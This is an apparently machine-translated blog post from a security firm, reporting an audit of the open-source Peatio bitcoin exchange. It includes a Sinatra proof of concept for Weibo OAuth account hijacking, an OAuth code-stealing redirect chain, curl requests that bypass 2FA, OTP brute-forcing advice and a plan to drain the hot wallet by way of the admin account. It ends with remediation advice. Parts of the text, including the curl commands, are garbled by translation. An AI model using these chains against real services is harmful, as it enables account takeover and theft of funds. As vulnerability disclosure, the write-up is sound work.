Recently, a lot of bitcoin services have appeared. And what used to be the project "for fun" suddenly began to store tens or even hundreds of thousands of dollars. The price of bitcoin has increased, but the level of security of bitcoin services remained the same low.
For the sake of the portfolio, we conducted a free audit of bitcoin exchange with open source Peatio using Ruby on Rails. The report in pdf can be downloaded here. The most interesting thing is that as a result there were not another dull flight kondisheny or SQLi, but rather a curious chain of bugs leading to the theft of the account and the theft of a significant part of the hot wallet.
The eye catches the "Entrance through Weibo" (this is a popular Chinese social network). If you read the cheat sheet on security OAuth is becoming apparent, where there is OAuth and hijacking.
Joining the attacker's Weibo to the victim's account
In omniauth-weibo-oauth2 there was a bug fixing state. state is an important parameter to protect against CSRF, and protection against it was built (not immediately, of course) into omniauth. That's just a line
session['omniauth.state'] = params[:state] if v == 'state'
turned off this protection, inserting in session ['omniauth.state'] the value of the GET parameter. Now you can fix state=123 and use the code released for the weibo attacker. Example of operation:
require 'sinatra'
get '' do
conn = Faraday.new(:url => 'https://api.weibo.com')
new_url = conn.get do |r|
r.url "/oauth2/authorize?client_id=456519107&redirect_uri=https%3A%2F%2Fyunbi.com%2Fauth%2Fweibo%2Fcallback&response_type=code&state=123"
r.headers['Cookie'] =<<COOKIE
YourWeiboCookies
COOKIE
r.options.timeout = 4
r.options.open_timeout = 2
end.headers["Location"]
redirect new_url
end
get '/peatio_demo' do
response.headers['Content-Security-Policy'] = "i-src 'self' https://yunbi.com"
""
end
As a result, we have a weibo attacker connected to the victim's accounts on the exchange, and can go directly into it.
What if Weibo's already connected to the victim?
The second account can not be connected, so you need to find a way to steal the code for the current weibo victim.
Weibo does not bind the code to redirect_uri (which in itself is a gross error, but I could not report to the Chinese), which means finding a page that merges the code through referrers, we will reach the goal. The search for such a page as the open redirect was not successful, but at the end of an interesting line in DocumentsController saved the situation:
if not @doc
redirect_to(request.referer || root_path)
return
end
If the document is not found, a redirect to request occurs.referer, which means the next chain of redirects will merge the code:
attacker_page redirects to weibo.com/authorize?...redirect_uri=http://app/documents/not_existing_doc%23…
Weibo incorrectly parses redirect_uri C %23 and redirects victim to app/documents/not_existing_doc#?code=VALID_CODE
Peatio cannot find not_existing_doc and returns a location header equal to the current request.referer which is still attacker_page (the browser keeps sending it from the beginning)
The browser copies the fragment #?code=VALID_CODE and load attacker_page#?code=VALID_CODE. Now the code on the page can read VALID_CODE via location.hash and download the real app/auth/weibo/callback?code=VALID_CODE to access the victim's account on the exchange.
So, we stole the account from users with and even without Weibo. But then we are stopped by two-factor authentication.
The bypass 2FA
Peatio out of the box forces all users to use Google Authenticator and/or SMS codes for important functions (bitcoin withdrawals). Which means we have to find a way around it one way or another.
If the victim only has Google Authenticator enabled
In SmsAuthsController was a serious error filter two_factor_required! it was called only for show action, but not for update action which that and was responsible for connection of SMS 2FA.
before_action :auth_member!
before_action :find_sms_auth
before_action :activated?
before_action :two_factor_required!, only: [:show]
def show
@phone_number = Phonelib.parse(current_user.phone_number).national
end
def update
if params[:commit] == 'send_code'
send_code_phase
else
verify_code_phase
end
end
And then passing the requests on the show we send the queries directly to the update:
curl ‘http://app/verify/sms_auth’ -h ‘X-CSRF-token:ZPwrQuLJ3x7md3wolrCTE6HItxkwOiUNhlekdprdkwi=’ -h ‘cookie:_peatio_session=the jungle and WOS river –HTTP data=patch&sms_auth%5Bcountry%5D=de&sms_auth%friends 5B%5D=9123222211&commit=send_code’
curl ‘http://app/verify/sms_auth’ -h ‘X-CSRF-token:ZPwrQuLJ3x7md3wolrCTE6HItxkwOiUNhlekdprdkwi=’ -h ‘cookie:_peatio_session=the jungle and WOS river –HTTP data=patch&sms_auth%5Bcountry%5D=de&sms_auth%friends 5B%5D=9123222211&sms_auth%5Botp%5D=CODE_WE_RECEIVED’
When you connect SMS 2FA, we can receive codes to our number and withdraw bitcoins to your address.
If the victim has SMS and Authenticator
If the victim is a paranoid method to use 2FA then the work becomes a little more complicated. The system is vulnerable to brute force 2fa codes, in other words it is very easy to bypass. Unlike conventional password, where 36^8+ variants, in single code only 1 million options. Three days is enough to guess it calmly. You can count on OTP Bruteforce Calculator yourself:
Without protection from Brutus 2FA does not make sense, that's right at all. A common misconception, incidentally, that 30-second window makes bruteforce harder. In fact, there is almost no difference that 1 second that 24 hours this code is active, 3 days will be enough.
If only SMS 2FA
This looks like the most difficult option — because bruteforcing quietly fail and the victim will immediately notice a suspicious SMS on his number. However, another error in the code will help us:
def two_factor_by_type
current_user.two_factors.by_type(params[:id])
end
This method does not use scope "activated" so you can continue to bruteforcing 2FA like Google Authenticator as in the previous case, despite the fact that it was never activated, because the seed had already generated!
Attack the admin
Now that we have learned to steal and bypass 2FA for any user try to apply the resulting exploit wisely. We will not hunt for users, and immediately write a ticket to the administrator " What is wrong with my account can you please check? I.will.hack.you/now". After visiting this page, our script will hijack the admin account.
Unfortunately, it turned out that the administrator can do almost nothing. There are no functions "send all bitcoins to X" or "add bitcoins to this user". The only clue is the possibility of Fiat approval of deposits made by users. So we can create a Deposit for a lot of money and approve it ourselves:
Then we can buy all available on the orders of bitcoins and instantly withdraw them (instantly only because we are the administrator and will approve their own Withdraw request, conclusions in the exchange are made manually!). But much more profit IMHO will bring the option when we quietly drink the blood of the exchanges a week or two.
Morality:
Never add login through social networks to important sites. They have too many ideological flaws, so it's better not to get involved at all.
If we decided to do two-factor authentication, do it right from the start — clearly follow the procedure to add a new method and prevent bruteforce by locking the account after N attempts.
Create a separate Superadmin with the function of pouring an arbitrary number of money into the system. He should not be able to read tickets and in General this account should be stored as the Apple of his eye.
Thank you for your attention, and if you want to protect your service, you know who to contact.